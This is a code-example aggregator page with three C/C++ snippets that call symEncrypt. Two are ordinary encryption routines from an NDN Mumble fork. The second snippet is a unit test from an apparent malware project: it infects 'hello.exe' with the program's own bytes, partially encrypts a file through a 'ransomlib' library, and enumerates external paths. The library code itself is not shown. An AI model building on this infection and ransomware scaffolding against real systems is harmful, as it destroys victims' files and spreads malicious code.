コード例 #1
0
ファイル: GroupManager.cpp プロジェクト: FreshLeaf8865/mumble
int GroupManager::userListtoXml(const char **data) {
    QString qsData;
	xmlEncoding(qsData, userName, prefix);
    QByteArray qba = qsData.toLocal8Bit();
    char *buffer = static_cast<char *>(calloc(qba.size() + 1, sizeof(char)));
    memcpy(buffer, qba.constData(), qba.size());
    buffer[qba.size()] = '\0';
	if (isPrivate) {
		unsigned char *enc_data = NULL;
		size_t enc_len = 0;
		int res = symEncrypt(conferenceKey, NULL, (const unsigned char *) buffer, strlen(buffer), &enc_data, &enc_len, AES_BLOCK_SIZE);
		if (res != 0)
			critical("can not encrypt speaker info");
		
		free(buffer);
		buffer = NULL;

		*data = (const char *)enc_data;
		return enc_len;

	} else {
		*data = buffer;
		return strlen(buffer);
	}
}
コード例 #2
0
ファイル: client_unit.c プロジェクト: Property404/OSIR
int main(int argc, char **argv)
{
	argc = argc;
	char test_string[] = "We dont need no education\0";

	int status;

	//TEST CLONELIB
	char *gob;
	int gob_length;
	printf("Testing clonelib.h\n");

	//Test function getOwnBytes
	gob_length = getOwnBytes(&gob, argv[0]);
	printf("getOwnBytes:\t%s(%d bytes)\n",
	       gob_length > 256 ? "OK" : "Failed", gob_length);

	//Test function infectTarget
	status = infectTarget(TEST_DIR "hello.exe", gob, gob_length);
	printf("infectTarget:\t%s\n", status ? "OK" : "Failed");

	//free
	free(gob);

	//TEST B64
	printf("\nTesting b64.h\n");
	int b64_decoded_msg_length;
	char *b64_decoded_msg;

	//Test function b64decode
	b64_decoded_msg_length = b64decode(&b64_decoded_msg, "T0s=");
	printf("b64decode:\t%s(%s)\n",
	       (b64_decoded_msg_length == 2
		&& !strcmp(b64_decoded_msg, "OK")) ? "OK" : "Failed",
	       b64_decoded_msg);


	//Test functions b16decode and b16encode
	status =
	    strcmp(b16decode(b16encode(test_string, strlen(test_string))),
		   test_string);
	printf("b16en/decode:\t%s", status ? "Failed" : "OK");
	if (status)
		printf("(%s!=%s)", test_string,b16decode(b16encode(test_string, strlen(test_string))));
	printf("\n");

	//free
	free(b64_decoded_msg);

	//Test CRYPT
	printf("\nTesting crypt.h\n");


	//Test function secureRand
	/*
	   status =
	   secureRand(&keyiv, SYMMETRIC_IV_SIZE + SYMMETRIC_KEY_SIZE);
	   printf("secureRand:\t%s\n", status ? "OK" : "Failed"); */

	//Test functions symEn/Decrypt
	char keyiv[] = "0123456789abcdef0123*56789abcdef";
	char encrypted_msg[16];
	char decrypted_msg[16];
	status = symEncrypt(encrypted_msg, keyiv, test_string, 16);
	printf("symEncrypt:\t%s\n", status ? "OK" : "Failed");

	status = symDecrypt(decrypted_msg, keyiv, encrypted_msg, 16);
	printf("symDecrypt:\t%s\n", status ? "OK" : "Failed",
	       decrypted_msg);
	/*printf("Together:\t%s(%s)\n",
	   !strcmp(decrypted_msg, test_string) ? "OK" : "Failed",
	   decrypted_msg); */


	//TESTING RANSOMLIB
	printf("\nTesting ransomlib.h\n");

	//Test encryption
	status = partialEncryptFile(keyiv, TEST_DIR "dummy.txt", 16, 0);
	printf("partialEncryptFile:\t%s\n", status ? "OK" : "Failed");

	//Test Decryption
	status = partialEncryptFile(keyiv, TEST_DIR "dummy.txt", 16, 1);
	printf("partialEncryptFile-d:\t%s\n", status ? "OK" : "Failed");


	//Tests paths
	printf("\nTestings paths.h\n");

	//Test
	char *harp = NULL;
	printf("getExternalPaths: %s\n",getExternalPaths(&harp)?"OK":"Failed");
	return 0;
}
コード例 #3
0
ファイル: media_pro.cpp プロジェクト: FreshLeaf8865/mumble
int NdnMediaProcess::ndnDataSend(const void *buf, size_t len)
{

#define CHARBUF_DESTROY \
    ccn_charbuf_destroy(&message);\
    ccn_charbuf_destroy(&path); \
    ccn_charbuf_destroy(&seq);

    UserDataBuf *userBuf = localUdb; 
	if (userBuf == NULL)
		return -1;
    int res = 0;
    int seq_num = -1;
    struct ccn_charbuf *message = ccn_charbuf_create();
    struct ccn_charbuf *path = ccn_charbuf_create();

    struct ccn_charbuf *seq = ccn_charbuf_create();
    unsigned char *ccn_msg = NULL;
    size_t ccn_msg_size = 0;
    
    ccn_name_init(path);
    
	seq_num = localSeq++;
	ccn_name_from_uri(path, localUdb->user_name.toLocal8Bit().constData());
	ccn_name_append_str(path, "audio");
    
    if (seq_num < 0) {
        res = -1;
        CHARBUF_DESTROY;
        return res;
    }
    
    ccn_charbuf_putf(seq, "%ld", seq_num);
    ccn_name_append(path, seq->buf, seq->length);


    struct ccn_charbuf *signed_info = ccn_charbuf_create();
	if (cached_keystore == NULL)
		init_cached_keystore(); 
	ccn_charbuf *keylocator = ccn_charbuf_create();
	ccn_create_keylocator(keylocator, ccn_keystore_public_key(cached_keystore));
    /* Create signed_info */
    res = ccn_signed_info_create(signed_info,
                                 /* pubkeyid */ get_my_publisher_key_id(),
                                 /* publisher_key_id_size */ get_my_publisher_key_id_length(),
                                 /* datetime */ NULL,
                                 /* type */ CCN_CONTENT_DATA,
                                 /* freshness */ FRESHNESS,
				                 /* finalblockid */ NULL,
                                 /* keylocator */ keylocator);
    if (res != 0) {
	    fprintf(stderr, "signed_info_create failed %d (line %d)\n", res, __LINE__);
    }

	if (isPrivate) {
		unsigned char *enc_buf = NULL;
		size_t enc_len = 0;
		res = symEncrypt(sessionKey, NULL, (const unsigned char *)buf, len, &enc_buf, &enc_len, AES_BLOCK_SIZE);
		if (res != 0) {
			fprintf(stderr, "can not decrypt audio\n");
			std::exit(1);
		}

		res = ccn_encode_ContentObject( /* out */ message,
					   path,
					   signed_info,
					   enc_buf, enc_len,
					   /* keyLocator */ NULL, get_my_private_key());
		if (enc_buf != NULL) {
			free(enc_buf);
			enc_buf = NULL;
		}
		
	} else {
		res = ccn_encode_ContentObject( /* out */ message,
					   path,
					   signed_info,
					   buf, len,
					   /* keyLocator */ NULL, get_my_private_key());
	}

    if (res != 0) {
        fprintf(stderr, "encode_ContentObject failed %d (line %d)\n", res, __LINE__);
        CHARBUF_DESTROY;
        return res;
    }

	ccn_charbuf_destroy(&signed_info);
	ccn_charbuf_destroy(&keylocator);
    
    ccn_msg = (unsigned char *)calloc(1, message->length);
    ccn_msg_size = message->length;
    memcpy(ccn_msg, message->buf, message->length);
	/*
    { struct ccn_parsed_ContentObject o = {0};
        res = ccn_parse_ContentObject(ccn_msg, ccn_msg_size, &o, NULL);
        if (res < 0) {
            fprintf(stderr, "created bad ContentObject, res = %d\n", res);
            abort();
        }
    }
	*/

    
    struct buf_list *p = NULL, *b = userBuf->data_buf.buflist;
    while (b != NULL) { p = b; b = b->link; }
    b = (struct buf_list*)calloc(1, sizeof(struct buf_list));
    if (b == NULL) {
        CHARBUF_DESTROY;
        return -1;
    }
    if (p != NULL)
        p->link = b;
    else userBuf->data_buf.buflist = b;
    
    b->buf = ccn_msg;
    b->len = ccn_msg_size;
    b->link = NULL;

    CHARBUF_DESTROY;
    return res;
}